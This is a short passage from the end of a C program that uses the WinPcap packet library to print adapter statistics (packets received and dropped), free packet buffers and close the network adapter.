    if(PacketGetStats(lpadapter,&stat)==FALSE)
    {
        printf("Warning: Unable to get the adapter stat\n");
    }
    else
    {
        printf("\n\n%d packets received, %d packets lost !\n",stat.bs_recv,stat.bs_drop);
    }
    PacketFreePacket(lppackets);
    PacketFreePacket(lppacketr);

    PacketCloseAdapter(lpadapter);

    return 0;
}

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